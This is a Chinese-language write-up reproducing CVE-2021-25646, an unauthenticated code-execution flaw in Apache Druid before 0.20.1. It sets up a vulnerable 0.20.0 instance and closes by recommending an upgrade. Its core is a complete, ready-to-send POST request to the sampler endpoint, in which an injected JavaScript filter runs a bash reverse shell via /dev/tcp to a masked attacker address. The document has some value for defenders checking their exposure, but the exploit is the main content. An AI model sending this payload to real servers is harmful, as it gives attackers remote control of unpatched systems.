简介
Apache Druid是一个实时分析型数据库，旨在对大型数据集进行快速的查询分析（"OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景，同时，Druid也通常被用来助力分析型应用的图形化界面，或者当做需要快速聚合的高并发后端API，Druid最适合应用于面向事件类型的数据。
# 概述
由于Apache Druid 默认情况下缺乏授权认证，攻击者可直接构造恶意请求执行任意代码，控制服务器。
# CVE编号
CVE-2021-25646
# 影响版本
Apache Druid < 0.20.1
# 环境搭建
这里使用0.2.0版本进行复现，下载地址：
https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz
下载后执行以下命令解压并启动漏洞环境。
tar -xzvf apache-druid-0.20.0-bin.tar.gz
cd apache-druid-0.20.0
./bin/start-micro-quickstart
启动后服务绑定在8888端口，浏览器可以正常访问则表示环境启动成功
# 漏洞复现
设置代理后选择load data，抓取到以下包
包内容：
构造payload执行命令，这里做一个反弹shell的操作
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.74.148:8888
Content-Length: 1043
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.74.148:8888
Referer: http://192.168.74.148:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
# 漏洞修复
升级Apache Druid至0.20.1及以上版本